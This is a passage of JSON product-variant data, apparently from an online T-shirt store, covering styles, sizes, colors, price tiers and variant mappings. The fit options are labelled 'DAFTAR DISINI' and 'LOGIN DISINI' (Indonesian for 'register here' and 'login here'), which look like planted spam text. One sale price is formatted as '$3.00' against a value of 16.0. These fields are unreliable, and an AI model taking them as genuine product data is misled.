896, 897, 898, 899, 3089, 3092, 3090, 3091, 851, 852, 853, 854, 886, 887, 888, 889, 876, 877, 878, 879, 871, 872, 873, 874, 891, 892, 893, 894, 3094, 3097, 3095, 3096, 2840, 2841, 2842, 2843, 2848, 2849, 2850, 2851, 2856, 2857, 2858, 2859, 2864, 2865, 2866, 2867, 2872, 2873, 2874, 2875, 2880, 2881, 2882, 2883, 2888, 2889, 2890, 2891, 3352, 3358, 3340, 3346, 3364, 3370, 3540, 3543, 3539, 3546, 3542, 3545, 3541, 3544, 2818, 2819, 2812, 2813, 2794, 2795, 2806, 2807, 2830, 2831, 2824, 2825, 2800, 2801, 3243, 3245, 3232, 3242, 1024, 1029, 833, 1039, 827, 1049, 1034, 1044, 989, 994, 1820, 1004, 1014, 999, 1009, 1019, 1361, 1346, 1331, 1356, 1351, 1336, 1326, 1341, 900, 3093, 855, 890, 880, 875, 895, 3098, 3353, 3359, 3341, 3347, 3365, 3371, 1830, 1831, 1832, 1833, 1845, 1846, 1847, 1848, 1825, 1826, 1827, 1828, 3025, 3026, 3027, 3028, 3018, 3019, 3020, 3021, 3031, 3032, 3033, 3034, 3037, 3038, 3039, 3040, 3274, 3275, 3297, 3296, 3301, 3269, 3280, 3276, 3302, 3285, 3278, 3282, 3268, 3267, 3291, 3294, 3313, 3311, 3312, 3314, 3289, 3288, 3286, 3283, 3293, 3284, 3281, 3273, 1834, 1849, 1829, 3029, 3022, 3035, 3041, 3271, 3298, 3270, 3277, 3315, 3290, 3299, 2074, 3024, 2068, 3030, 3023, 3036, 3042, 3300, 3272, 3279, 3292, 3316, 3287, 3295]
         },
         "CanvasOptions": {
          "hierarchy": [{
           "name": "Fit",
           "sort_order": 0,
           "product_page_input_style": "radio",
           "is_preselected": true,
           "slug": "gender",
           "configuration_column": "gender_id",
           "id_method": "gender_id",
           "display_value_method": "gender_display_value",
           "sort_order_method": "gender_sort_order"
          }, {
           "name": "Style",
           "sort_order": 1,
           "product_page_input_style": "radio",
           "is_preselected": true,
           "slug": "style",
           "configuration_column": "style_id",
           "id_method": "style_id",
           "display_value_method": "style_display_value",
           "sort_order_method": "style_sort_order"
          }, {
           "name": "Size",
           "sort_order": 2,
           "product_page_input_style": "radio",
           "is_preselected": false,
           "slug": "size",
           "configuration_column": "size_id",
           "id_method": "size_id",
           "display_value_method": "size_display_value",
           "sort_order_method": "size_sort_order"
          }, {
           "name": "Color",
           "sort_order": 3,
           "product_page_input_style": "swatch",
           "is_preselected": true,
           "slug": "color",
           "configuration_column": "color_id",
           "id_method": "color_id",
           "display_value_method": "color_display_value",
           "sort_order_method": "color_sort_order"
          }],
          "products": {
           "attrIdsOrder": ["gender", "style", "size", "color"],
           "attrs": {
            "gender": {
             "19": {
              "unique_id": null,
              "id": 19,
              "name": "DAFTAR DISINI",
              "sort": 1
             },
             "20": {
              "unique_id": null,
              "id": 20,
              "name": "LOGIN DISINI",
              "sort": 2
             }
            },
            "style": {
             "79": {
              "unique_id": null,
              "id": 79,
              "name": "Classic",
              "sort": 199
             },
             "80": {
              "unique_id": null,
              "id": 80,
              "name": "Tri-Blend",
              "sort": 205
             },
             "81": {
              "unique_id": null,
              "id": 81,
              "name": "V-Neck",
              "sort": 210
             },
             "218": {
              "unique_id": null,
              "id": 218,
              "name": "Heavyweight",
              "sort": 202
             },
             "213": {
              "unique_id": null,
              "id": 213,
              "name": "Heavyweight",
              "sort": 235
             },
             "135": {
              "unique_id": null,
              "id": 135,
              "name": "Premium",
              "sort": 209
             },
             "328": {
              "unique_id": null,
              "id": 328,
              "name": "Eco",
              "sort": 260
             },
             "370": {
              "unique_id": null,
              "id": 370,
              "name": "Tall",
              "sort": 270
             },
             "371": {
              "unique_id": null,
              "id": 371,
              "name": "Active",
              "sort": 280
             },
             "104": {
              "unique_id": null,
              "id": 104,
              "name": "Dolman",
              "sort": 220
             },
             "393": {
              "unique_id": null,
              "id": 393,
              "name": "Boxy",
              "sort": 206
             },
             "395": {
              "unique_id": null,
              "id": 395,
              "name": "Streetwear",
              "sort": 208
             },
             "378": {
              "unique_id": null,
              "id": 378,
              "name": "Vintage",
              "sort": 218
             }
            },
            "size": {
             "22": {
              "unique_id": null,
              "id": 22,
              "name": "M",
              "sort": 15
             },
             "23": {
              "unique_id": null,
              "id": 23,
              "name": "L",
              "sort": 20
             },
             "24": {
              "unique_id": null,
              "id": 24,
              "name": "XL",
              "sort": 25
             },
             "21": {
              "unique_id": null,
              "id": 21,
              "name": "S",
              "sort": 10
             },
             "26": {
              "unique_id": null,
              "id": 26,
              "name": "3XL",
              "sort": 35
             },
             "84": {
              "unique_id": null,
              "id": 84,
              "name": "5XL",
              "sort": 45
             },
             "83": {
              "unique_id": null,
              "id": 83,
              "name": "4XL",
              "sort": 40
             },
             "25": {
              "unique_id": null,
              "id": 25,
              "name": "2XL",
              "sort": 30
             },
             "1": {
              "unique_id": null,
              "id": 1,
              "name": "XS",
              "sort": 5
             }
            },
            "color": {
             "3": {
              "unique_id": null,
              "id": 3,
              "name": "Creme",
              "sort": 200
             },
             "12": {
              "unique_id": null,
              "id": 12,
              "name": "White",
              "sort": 1
             },
             "1": {
              "unique_id": null,
              "id": 1,
              "name": "Black",
              "sort": 70
             },
             "10": {
              "unique_id": null,
              "id": 10,
              "name": "Teal",
              "sort": 330
             },
             "4": {
              "unique_id": null,
              "id": 4,
              "name": "Heather",
              "sort": 400
             },
             "5": {
              "unique_id": null,
              "id": 5,
              "name": "Kelly",
              "sort": 240
             },
             "6": {
              "unique_id": null,
              "id": 6,
              "name": "Light Blue",
              "sort": 360
             },
             "7": {
              "unique_id": null,
              "id": 7,
              "name": "Navy",
              "sort": 290
             },
             "8": {
              "unique_id": null,
              "id": 8,
              "name": "Red",
              "sort": 110
             },
             "11": {
              "unique_id": null,
              "id": 11,
              "name": "Asphalt",
              "sort": 40
             },
             "9": {
              "unique_id": null,
              "id": 9,
              "name": "Royal Blue",
              "sort": 310
             },
             "45": {
              "unique_id": null,
              "id": 45,
              "name": "Royal Heather",
              "sort": 550
             },
             "2": {
              "unique_id": null,
              "id": 2,
              "name": "Brown",
              "sort": 140
             },
             "42": {
              "unique_id": null,
              "id": 42,
              "name": "Red Heather",
              "sort": 460
             },
             "43": {
              "unique_id": null,
              "id": 43,
              "name": "Navy Heather",
              "sort": 510
             },
             "44": {
              "unique_id": null,
              "id": 44,
              "name": "Vintage Green",
              "sort": 490
             },
             "19": {
              "unique_id": null,
              "id": 19,
              "name": "Charcoal Heather",
              "sort": 450
             },
             "27": {
              "unique_id": null,
              "id": 27,
              "name": "Purple",
              "sort": 380
             },
             "24": {
              "unique_id": null,
              "id": 24,
              "name": "Maroon",
              "sort": 90
             },
             "69": {
              "unique_id": null,
              "id": 69,
              "name": "Slate",
              "sort": 332
             },
             "23": {
              "unique_id": null,
              "id": 23,
              "name": "Yellow",
              "sort": 180
             },
             "67": {
              "unique_id": null,
              "id": 67,
              "name": "Military Green",
              "sort": 222
             },
             "21": {
              "unique_id": null,
              "id": 21,
              "name": "Orange",
              "sort": 160
             },
             "70": {
              "unique_id": null,
              "id": 70,
              "name": "Purple Heather",
              "sort": 491
             },
             "71": {
              "unique_id": null,
              "id": 71,
              "name": "Turquoise Heather",
              "sort": 489
             },
             "72": {
              "unique_id": null,
              "id": 72,
              "name": "Hot Pink",
              "sort": 132
             },
             "22": {
              "unique_id": null,
              "id": 22,
              "name": "Soft Pink",
              "sort": 130
             },
             "68": {
              "unique_id": null,
              "id": 68,
              "name": "Light Olive",
              "sort": 272
             },
             "60": {
              "unique_id": null,
              "id": 60,
              "name": "Leaf",
              "sort": 270
             },
             "47": {
              "unique_id": null,
              "id": 47,
              "name": "Vintage Brown",
              "sort": 480
             },
             "18": {
              "unique_id": null,
              "id": 18,
              "name": "Dark Green",
              "sort": 230
             },
             "74": {
              "unique_id": null,
              "id": 74,
              "name": "Heather Sea Blue",
              "sort": 585
             },
             "107": {
              "unique_id": null,
              "id": 107,
              "name": "Marine Blue",
              "sort": 315
             },
             "46": {
              "unique_id": null,
              "id": 46,
              "name": "Vintage Black",
              "sort": 440
             },
             "65": {
              "unique_id": null,
              "id": 65,
              "name": "Vintage Royal",
              "sort": 540
             },
             "20": {
              "unique_id": null,
              "id": 20,
              "name": "Coastal Blue",
              "sort": 340
             },
             "62": {
              "unique_id": null,
              "id": 62,
              "name": "Mint",
              "sort": 280
             },
             "26": {
              "unique_id": null,
              "id": 26,
              "name": "Oxford",
              "sort": 20
             },
             "33": {
              "unique_id": null,
              "id": 33,
              "name": "Midnight Navy",
              "sort": 500
             },
             "113": {
              "unique_id": null,
              "id": 113,
              "name": "Latte",
              "sort": 205
             },
             "38": {
              "unique_id": null,
              "id": 38,
              "name": "Vintage Heather",
              "sort": 420
             },
             "57": {
              "unique_id": null,
              "id": 57,
              "name": "Dark Grey Heather",
              "sort": 430
             },
             "30": {
              "unique_id": null,
              "id": 30,
              "name": "Light Grey",
              "sort": 15
             },
             "75": {
              "unique_id": null,
              "id": 75,
              "name": "Pine",
              "sort": 245
             },
             "31": {
              "unique_id": null,
              "id": 31,
              "name": "Dark Grey",
              "sort": 30
             },
             "54": {
              "unique_id": null,
              "id": 54,
              "name": "Vintage White",
              "sort": 390
             },
             "40": {
              "unique_id": null,
              "id": 40,
              "name": "Vintage Grape",
              "sort": 590
             },
             "108": {
              "unique_id": null,
              "id": 108,
              "name": "Tie Dye",
              "sort": 660
             },
             "59": {
              "unique_id": null,
              "id": 59,
              "name": "Indigo",
              "sort": 520
             },
             "111": {
              "unique_id": null,
              "id": 111,
              "name": "Faded Red",
              "sort": 133
             },
             "110": {
              "unique_id": null,
              "id": 110,
              "name": "Acid Black",
              "sort": 72
             },
             "112": {
              "unique_id": null,
              "id": 112,
              "name": "Ghost",
              "sort": 12
             },
             "28": {
              "unique_id": null,
              "id": 28,
              "name": "Tennessee Orange",
              "sort": 170
             },
             "114": {
              "unique_id": null,
              "id": 114,
              "name": "Salmon",
              "sort": 131
             }
            }
           },
           "prices": {
            "23-16": {
             "retail_price": 23.0,
             "retail_price_usd": "23.0",
             "retail_price_formatted": "$23.00",
             "sale_price": 16.0,
             "sale_price_usd": "16.0",
             "sale_price_formatted": "$3.00"
            },
            "26-19": {
             "retail_price": 26.0,
             "retail_price_usd": "26.0",
             "retail_price_formatted": "$26.00",
             "sale_price": 19.0,
             "sale_price_usd": "19.0",
             "sale_price_formatted": "$19.00"
            },
            "29-24": {
             "retail_price": 29.0,
             "retail_price_usd": "29.0",
             "retail_price_formatted": "$29.00",
             "sale_price": 24.0,
             "sale_price_usd": "24.0",
             "sale_price_formatted": "$24.00"
            },
            "31-26": {
             "retail_price": 31.0,
             "retail_price_usd": "31.0",
             "retail_price_formatted": "$31.00",
             "sale_price": 26.0,
             "sale_price_usd": "26.0",
             "sale_price_formatted": "$26.00"
            },
            "25-18": {
             "retail_price": 25.0,
             "retail_price_usd": "25.0",
             "retail_price_formatted": "$25.00",
             "sale_price": 18.0,
             "sale_price_usd": "18.0",
             "sale_price_formatted": "$18.00"
            },
            "29-22": {
             "retail_price": 29.0,
             "retail_price_usd": "29.0",
             "retail_price_formatted": "$29.00",
             "sale_price": 22.0,
             "sale_price_usd": "22.0",
             "sale_price_formatted": "$22.00"
            },
            "25-20": {
             "retail_price": 25.0,
             "retail_price_usd": "25.0",
             "retail_price_formatted": "$25.00",
             "sale_price": 20.0,
             "sale_price_usd": "20.0",
             "sale_price_formatted": "$20.00"
            },
            "27-20": {
             "retail_price": 27.0,
             "retail_price_usd": "27.0",
             "retail_price_formatted": "$27.00",
             "sale_price": 20.0,
             "sale_price_usd": "20.0",
             "sale_price_formatted": "$20.00"
            },
            "30-22": {
             "retail_price": 30.0,
             "retail_price_usd": "30.0",
             "retail_price_formatted": "$30.00",
             "sale_price": 22.0,
             "sale_price_usd": "22.0",
             "sale_price_formatted": "$22.00"
            },
            "31-23": {
             "retail_price": 31.0,
             "retail_price_usd": "31.0",
             "retail_price_formatted": "$31.00",
             "sale_price": 23.0,
             "sale_price_usd": "23.0",
             "sale_price_formatted": "$23.00"
            },
            "32-24": {
             "retail_price": 32.0,
             "retail_price_usd": "32.0",
             "retail_price_formatted": "$32.00",
             "sale_price": 24.0,
             "sale_price_usd": "24.0",
             "sale_price_formatted": "$24.00"
            },
            "27-19": {
             "retail_price": 27.0,
             "retail_price_usd": "27.0",
             "retail_price_formatted": "$27.00",
             "sale_price": 19.0,
             "sale_price_usd": "19.0",
             "sale_price_formatted": "$19.00"
            },
            "24-17": {
             "retail_price": 24.0,
             "retail_price_usd": "24.0",
             "retail_price_formatted": "$24.00",
             "sale_price": 17.0,
             "sale_price_usd": "17.0",
             "sale_price_formatted": "$17.00"
            },
            "28-19": {
             "retail_price": 28.0,
             "retail_price_usd": "28.0",
             "retail_price_formatted": "$28.00",
             "sale_price": 19.0,
             "sale_price_usd": "19.0",
             "sale_price_formatted": "$19.00"
            },
            "26-21": {
             "retail_price": 26.0,
             "retail_price_usd": "26.0",
             "retail_price_formatted": "$26.00",
             "sale_price": 21.0,
             "sale_price_usd": "21.0",
             "sale_price_formatted": "$21.00"
            },
            "27-22": {
             "retail_price": 27.0,
             "retail_price_usd": "27.0",
             "retail_price_formatted": "$27.00",
             "sale_price": 22.0,
             "sale_price_usd": "22.0",
             "sale_price_formatted": "$22.00"
            },
            "30-23": {
             "retail_price": 30.0,
             "retail_price_usd": "30.0",
             "retail_price_formatted": "$30.00",
             "sale_price": 23.0,
             "sale_price_usd": "23.0",
             "sale_price_formatted": "$23.00"
            },
            "28-21": {
             "retail_price": 28.0,
             "retail_price_usd": "28.0",
             "retail_price_formatted": "$28.00",
             "sale_price": 21.0,
             "sale_price_usd": "21.0",
             "sale_price_formatted": "$21.00"
            },
            "30-25": {
             "retail_price": 30.0,
             "retail_price_usd": "30.0",
             "retail_price_formatted": "$30.00",
             "sale_price": 25.0,
             "sale_price_usd": "25.0",
             "sale_price_formatted": "$25.00"
            },
            "28-20": {
             "retail_price": 28.0,
             "retail_price_usd": "28.0",
             "retail_price_formatted": "$28.00",
             "sale_price": 20.0,
             "sale_price_usd": "20.0",
             "sale_price_formatted": "$20.00"
            }
           },
           "prices_keys": ["23-16", "26-19", "29-24", "31-26", "25-18", "29-22", "25-20", "27-20", "30-22", "31-23", "32-24", "27-19", "24-17", "28-19", "26-21", "27-22", "30-23", "28-21", "30-25", "28-20"],
           "370": [0, [19, 79, 22, 3]],
           "371": [0, [19, 79, 23, 3]],
           "372": [0, [19, 79, 24, 3]],
           "316": [0, [19, 79, 22, 12]],
           "317": [0, [19, 79, 23, 12]],
           "318": [0, [19, 79, 24, 12]],
           "321": [0, [19, 79, 21, 1]],
           "322": [0, [19, 79, 22, 1]],
           "323": [0, [19, 79, 23, 1]],
           "324": [0, [19, 79, 24, 1]],
           "327": [0, [19, 79, 21, 10]],
           "328": [0, [19, 79, 22, 10]],
           "329": [0, [19, 79, 23, 10]],
           "330": [0, [19, 79, 24, 10]],
           "333": [0, [19, 79, 21, 4]],
           "334": [0, [19, 79, 22, 4]],
           "335": [0, [19, 79, 23, 4]],
           "336": [0, [19, 79, 24, 4]],
           "339": [0, [19, 79, 21, 5]],
           "340": [0, [19, 79, 22, 5]],
           "341": [0, [19, 79, 23, 5]],
           "342": [0, [19, 79, 24, 5]],
           "345": [0, [19, 79, 21, 6]],
           "346": [0, [19, 79, 22, 6]],
           "347": [0, [19, 79, 23, 6]],
           "348": [0, [19, 79, 24, 6]],
           "351": [0, [19, 79, 21, 7]],
           "352": [0, [19, 79, 22, 7]],
           "353": [0, [19, 79, 23, 7]],
           "354": [0, [19, 79, 24, 7]],
           "357": [0, [19, 79, 21, 8]],
           "358": [0, [19, 79, 22, 8]],
           "359": [0, [19, 79, 23, 8]],
           "360": [0, [19, 79, 24, 8]],
           "363": [0, [19, 79, 21, 11]],
           "364": [0, [19, 79, 22, 11]],
           "365": [0, [19, 79, 23, 11]],
           "366": [0, [19, 79, 24, 11]],
           "369": [0, [19, 79, 21, 3]],
           "375": [0, [19, 79, 21, 9]],
           "376": [0, [19, 79, 22, 9]],
           "377": [0, [19, 79, 23, 9]],
           "927": [0, [19, 79, 23, 45]],
           "928": [0, [19, 79, 24, 45]],
           "378": [0, [19, 79, 24, 9]],
           "381": [0, [19, 79, 21, 2]],
           "382": [0, [19, 79, 22, 2]],
           "383": [0, [19, 79, 23, 2]],
           "384": [0, [19, 79, 24, 2]],
           "901": [0, [19, 79, 21, 42]],
           "902": [0, [19, 79, 22, 42]],
           "903": [0, [19, 79, 23, 42]],
           "904": [0, [19, 79, 24, 42]],
           "907": [0, [19, 79, 21, 43]],
           "908": [0, [19, 79, 22, 43]],
           "909": [0, [19, 79, 23, 43]],
           "910": [0, [19, 79, 24, 43]],
           "913": [0, [19, 79, 21, 44]],
           "914": [0, [19, 79, 22, 44]],
           "915": [0, [19, 79, 23, 44]],
           "916": [0, [19, 79, 24, 44]],
           "919": [0, [19, 79, 21, 19]],
           "920": [0, [19, 79, 22, 19]],
           "921": [0, [19, 79, 23, 19]],
           "922": [0, [19, 79, 24, 19]],
           "925": [0, [19, 79, 21, 45]],
           "926": [0, [19, 79, 22, 45]],
           "315": [0, [19, 79, 21, 12]],
           "1666": [0, [19, 79, 21, 27]],
           "1667": [0, [19, 79, 22, 27]],
           "1668": [0, [19, 79, 23, 27]],
           "1669": [0, [19, 79, 24, 27]],
           "1672": [0, [19, 79, 21, 24]],
           "1673": [0, [19, 79, 22, 24]],
           "1674": [0, [19, 79, 23, 24]],
           "1675": [0, [19, 79, 24, 24]],
           "1678": [0, [19, 79, 21, 69]],
           "1679": [0, [19, 79, 22, 69]],
           "1680": [0, [19, 79, 23, 69]],
           "1681": [0, [19, 79, 24, 69]],
           "1684": [0, [19, 79, 21, 23]],
           "1685": [0, [19, 79, 22, 23]],
           "1686": [0, [19, 79, 23, 23]],
           "1687": [0, [19, 79, 24, 23]],
           "1690": [0, [19, 79, 21, 67]],
           "1691": [0, [19, 79, 22, 67]],
           "1692": [0, [19, 79, 23, 67]],
           "1693": [0, [19, 79, 24, 67]],
           "1696": [0, [19, 79, 21, 21]],
           "1697": [0, [19, 79, 22, 21]],
           "1698": [0, [19, 79, 23, 21]],
           "1699": [0, [19, 79, 24, 21]],
           "1746": [0, [19, 79, 21, 70]],
           "1747": [0, [19, 79, 22, 70]],
           "1748": [0, [19, 79, 23, 70]],
           "1749": [0, [19, 79, 24, 70]],
           "1752": [0, [19, 79, 21, 71]],
           "1753": [0, [19, 79, 22, 71]],
           "1754": [0, [19, 79, 23, 71]],
           "1755": [0, [19, 79, 24, 71]],
           "1808": [0, [19, 79, 21, 72]],
           "1809": [0, [19, 79, 22, 72]],
           "1810": [0, [19, 79, 23, 72]],
           "1811": [0, [19, 79, 24, 72]],
           "1814": [0, [19, 79, 21, 22]],
           "1815": [0, [19, 79, 22, 22]],
           "1816": [0, [19, 79, 23, 22]],
           "1817": [0, [19, 79, 24, 22]],
           "2378": [0, [19, 79, 22, 3]],
           "2379": [0, [19, 79, 23, 3]],
           "2380": [0, [19, 79, 24, 3]],
           "2381": [0, [19, 79, 22, 12]],
           "2382": [0, [19, 79, 23, 12]],
           "2384": [0, [19, 79, 21, 1]],
           "2387": [0, [19, 79, 24, 1]],
           "2390": [0, [19, 79, 23, 10]],
           "2404": [0, [19, 79, 22, 6]],
           "2514": [0, [19, 79, 21, 43]],
           "2520": [0, [19, 79, 21, 44]],
           "2577": [0, [19, 79, 21, 67]],
           "2578": [0, [19, 79, 22, 67]],
           "2625": [0, [19, 79, 21, 70]],
           "2628": [0, [19, 79, 24, 70]],
           "2632": [0, [19, 79, 22, 71]],
           "4": [1, [19, 79, 26, 1]],
           "930": [1, [19, 79, 26, 45]],
           "543": [1, [19, 79, 84, 12]],
           "2421": [1, [19, 79, 26, 3]],
           "2136": [2, [19, 79, 21, 9]],
           "2262": [2, [19, 79, 21, 12]],
           "2279": [2, [19, 79, 21, 69]],
           "2348": [2, [19, 79, 24, 71]],
           "2353": [2, [19, 79, 23, 72]],
           "2354": [2, [19, 79, 24, 72]],
           "3403": [1, [19, 79, 83, 24]],
           "2208": [3, [19, 79, 83, 1]],
           "389": [0, [20, 79, 23, 12]],
           "403": [0, [20, 79, 22, 10]],
           "407": [0, [20, 79, 21, 4]],
           "415": [0, [20, 79, 24, 7]],
           "419": [0, [20, 79, 23, 9]],
           "1729": [0, [20, 79, 24, 68]],
           "1734": [0, [20, 79, 23, 22]],
           "2447": [0, [20, 79, 23, 11]],
           "2466": [0, [20, 79, 22, 9]],
           "2468": [0, [20, 79, 24, 9]],
           "2472": [0, [20, 79, 23, 2]],
           "2473": [0, [20, 79, 23, 3]],
           "2476": [0, [20, 79, 21, 5]],
           "2478": [0, [20, 79, 23, 5]],
           "2484": [0, [20, 79, 24, 6]],
           "2615": [0, [20, 79, 23, 68]],
           "2621": [0, [20, 79, 23, 22]],
           "1967": [4, [20, 79, 26, 6]],
           "976": [4, [20, 79, 26, 1]],
           "3138": [4, [20, 79, 26, 19]],
           "2538": [4, [20, 79, 26, 8]],
           "3408": [3, [19, 79, 84, 24]],
           "3194": [2, [20, 79, 22, 60]],
           "3141": [2, [20, 79, 23, 19]],
           "2175": [2, [20, 79, 22, 7]],
           "3178": [2, [20, 79, 24, 45]],
           "2321": [2, [20, 79, 21, 23]],
           "2335": [2, [20, 79, 23, 22]],
           "826": [5, [19, 80, 24, 47]],
           "3094": [6, [20, 81, 21, 4]],
           "3095": [6, [20, 81, 23, 4]],
           "854": [6, [20, 81, 24, 1]],
           "2852": [4, [19, 218, 21, 8]],
           "2860": [4, [19, 218, 21, 18]],
           "2869": [4, [19, 218, 22, 7]],
           "2883": [7, [19, 218, 84, 9]],
           "2889": [7, [19, 218, 26, 4]],
           "2891": [7, [19, 218, 84, 4]],
           "2790": [4, [20, 213, 21, 1]],
           "2799": [4, [20, 213, 24, 4]],
           "2803": [4, [20, 213, 22, 7]],
           "2810": [4, [20, 213, 23, 11]],
           "2814": [4, [20, 213, 21, 12]],
           "2822": [4, [20, 213, 23, 27]],
           "3409": [1, [19, 79, 83, 72]],
           "1827": [8, [19, 135, 23, 11]],
           "1828": [8, [19, 135, 24, 11]],
           "1831": [8, [19, 135, 22, 12]],
           "1834": [9, [19, 135, 25, 12]],
           "2068": [10, [19, 135, 26, 11]],
           "2954": [6, [19, 328, 23, 12]],
           "2971": [6, [19, 328, 22, 19]],
           "2977": [6, [19, 328, 22, 74]],
           "3240": [11, [19, 370, 21, 107]],
           "3241": [11, [19, 370, 22, 107]],
           "3267": [12, [19, 371, 22, 8]],
           "3311": [12, [19, 371, 22, 5]],
           "1103": [13, [20, 104, 24, 46]],
           "1117": [13, [20, 104, 22, 44]],
           "1130": [13, [20, 104, 23, 42]],
           "1131": [13, [20, 104, 24, 42]],
           "1134": [13, [20, 104, 23, 65]],
           "2383": [0, [19, 79, 24, 12]],
           "2393": [0, [19, 79, 22, 4]],
           "2398": [0, [19, 79, 21, 5]],
           "2414": [0, [19, 79, 24, 8]],
           "2415": [0, [19, 79, 21, 11]],
           "2508": [0, [19, 79, 21, 42]],
           "2646": [0, [19, 79, 24, 22]],
           "2": [1, [19, 79, 26, 12]],
           "8": [1, [19, 79, 26, 4]],
           "12": [1, [19, 79, 26, 6]],
           "531": [1, [19, 79, 84, 7]],
           "16": [1, [19, 79, 26, 8]],
           "2373": [1, [19, 79, 26, 5]],
           "2375": [1, [19, 79, 26, 6]],
           "2491": [1, [19, 79, 84, 7]],
           "2492": [1, [19, 79, 83, 9]],
           "2493": [1, [19, 79, 84, 9]],
           "2495": [1, [19, 79, 84, 1]],
           "2496": [1, [19, 79, 83, 11]],
           "2499": [1, [19, 79, 84, 4]],
           "2503": [1, [19, 79, 84, 12]],
           "3404": [1, [19, 79, 83, 24]],
           "2541": [1, [19, 79, 26, 8]],
           "2545": [1, [19, 79, 26, 11]],
           "3452": [1, [19, 79, 83, 5]],
           "2648": [1, [19, 79, 26, 22]],
           "2096": [2, [19, 79, 23, 12]],
           "2115": [2, [19, 79, 24, 5]],
           "2247": [2, [19, 79, 22, 45]],
           "2267": [2, [19, 79, 21, 27]],
           "2273": [2, [19, 79, 21, 24]],
           "2280": [2, [19, 79, 22, 69]],
           "2282": [2, [19, 79, 24, 69]],
           "2288": [2, [19, 79, 24, 23]],
           "2300": [2, [19, 79, 24, 21]],
           "2351": [2, [19, 79, 21, 72]],
           "2135": [3, [19, 79, 26, 3]],
           "2213": [3, [19, 79, 84, 4]],
           "2216": [3, [19, 79, 83, 12]],
           "2218": [3, [19, 79, 83, 7]],
           "3498": [3, [19, 79, 84, 45]],
           "2227": [3, [19, 79, 26, 42]],
           "2350": [3, [19, 79, 26, 71]],
           "394": [0, [20, 79, 23, 1]],
           "397": [0, [20, 79, 21, 11]],
           "413": [0, [20, 79, 22, 7]],
           "438": [0, [20, 79, 22, 6]],
           "440": [0, [20, 79, 24, 6]],
           "445": [0, [20, 79, 24, 8]],
           "3183": [0, [20, 79, 23, 60]],
           "3205": [0, [20, 79, 21, 20]],
           "3128": [0, [20, 79, 22, 19]],
           "3130": [0, [20, 79, 24, 19]],
           "1711": [0, [20, 79, 24, 24]],
           "1716": [0, [20, 79, 23, 62]],
           "1726": [0, [20, 79, 21, 68]],
           "2620": [0, [20, 79, 22, 22]],
           "981": [4, [20, 79, 26, 5]],
           "3499": [4, [20, 393, 21, 1]],
           "3526": [4, [20, 393, 24, 3]],
           "3567": [7, [19, 395, 1, 1]],
           "2507": [4, [20, 79, 26, 2]],
           "2171": [2, [20, 79, 23, 4]],
           "2179": [2, [20, 79, 21, 9]],
           "2311": [2, [20, 79, 23, 24]],
           "2312": [2, [20, 79, 24, 24]],
           "3595": [7, [19, 395, 23, 26]],
           "3597": [7, [19, 395, 23, 33]],
           "3599": [7, [19, 395, 23, 113]],
           "995": [5, [20, 80, 21, 43]],
           "998": [5, [20, 80, 24, 43]],
           "1012": [5, [20, 80, 23, 44]],
           "1324": [6, [19, 81, 23, 38]],
           "1333": [6, [19, 81, 22, 9]],
           "1335": [6, [19, 81, 24, 9]],
           "1338": [6, [19, 81, 22, 57]],
           "3090": [6, [20, 81, 23, 11]],
           "900": [14, [20, 81, 25, 12]],
           "2845": [4, [19, 218, 22, 1]],
           "2847": [4, [19, 218, 24, 1]],
           "2871": [4, [19, 218, 24, 7]],
           "2876": [4, [19, 218, 21, 9]],
           "3623": [5, [19, 395, 26, 12]],
           "2873": [7, [19, 218, 26, 7]],
           "2874": [7, [19, 218, 83, 7]],
           "2890": [7, [19, 218, 83, 4]],
           "2792": [4, [20, 213, 23, 1]],
           "2805": [4, [20, 213, 24, 7]],
           "2823": [4, [20, 213, 24, 27]],
           "2829": [4, [20, 213, 24, 9]],
           "1845": [8, [19, 135, 21, 30]],
           "3033": [8, [19, 135, 23, 4]],
           "3034": [8, [19, 135, 24, 4]],
           "3039": [8, [19, 135, 23, 19]],
           "3035": [9, [19, 135, 25, 4]],
           "3024": [10, [19, 135, 26, 30]],
           "3030": [10, [19, 135, 26, 1]],
           "2985": [6, [19, 328, 24, 3]],
           "2993": [15, [19, 328, 26, 75]],
           "2969": [15, [19, 328, 26, 4]],
           "3249": [11, [19, 370, 21, 31]],
           "3239": [11, [19, 370, 23, 107]],
           "1106": [13, [20, 104, 23, 38]],
           "1109": [13, [20, 104, 22, 57]],
           "2385": [0, [19, 79, 22, 1]],
           "2386": [0, [19, 79, 23, 1]],
           "2388": [0, [19, 79, 21, 10]],
           "2403": [0, [19, 79, 21, 6]],
           "2418": [0, [19, 79, 24, 11]],
           "2515": [0, [19, 79, 22, 43]],
           "2521": [0, [19, 79, 22, 44]],
           "2523": [0, [19, 79, 24, 44]],
           "2094": [2, [19, 79, 24, 3]],
           "2097": [2, [19, 79, 24, 12]],
           "2125": [2, [19, 79, 21, 8]],
           "2129": [2, [19, 79, 21, 11]],
           "2130": [2, [19, 79, 22, 11]],
           "2147": [2, [19, 79, 24, 2]],
           "2268": [2, [19, 79, 22, 27]],
           "2269": [2, [19, 79, 23, 27]],
           "2347": [2, [19, 79, 23, 71]],
           "2083": [3, [19, 79, 26, 10]],
           "2205": [3, [19, 79, 84, 7]],
           "2210": [3, [19, 79, 83, 11]],
           "2211": [3, [19, 79, 84, 11]],
           "3405": [3, [19, 79, 83, 24]],
           "387": [0, [20, 79, 21, 12]],
           "392": [0, [20, 79, 21, 1]],
           "400": [0, [20, 79, 24, 11]],
           "425": [0, [20, 79, 24, 2]],
           "2442": [0, [20, 79, 23, 1]],
           "2458": [0, [20, 79, 24, 4]],
           "2461": [0, [20, 79, 22, 7]],
           "2465": [0, [20, 79, 21, 9]],
           "2471": [0, [20, 79, 22, 2]],
           "2477": [0, [20, 79, 22, 5]],
           "2481": [0, [20, 79, 21, 6]],
           "2482": [0, [20, 79, 22, 6]],
           "2483": [0, [20, 79, 23, 6]],
           "2489": [0, [20, 79, 24, 8]],
           "2549": [0, [20, 79, 24, 2]],
           "2608": [0, [20, 79, 22, 23]],
           "2614": [0, [20, 79, 22, 68]],
           "982": [4, [20, 79, 26, 7]],
           "3192": [4, [20, 79, 26, 60]],
           "1707": [4, [20, 79, 26, 27]],
           "3410": [1, [19, 79, 83, 72]],
           "2506": [4, [20, 79, 26, 9]],
           "2159": [2, [20, 79, 21, 11]],
           "2160": [2, [20, 79, 22, 11]],
           "2164": [2, [20, 79, 21, 10]],
           "2165": [2, [20, 79, 22, 10]],
           "2176": [2, [20, 79, 23, 7]],
           "2180": [2, [20, 79, 22, 9]],
           "2181": [2, [20, 79, 23, 9]],
           "2187": [2, [20, 79, 23, 3]],
           "3193": [2, [20, 79, 21, 60]],
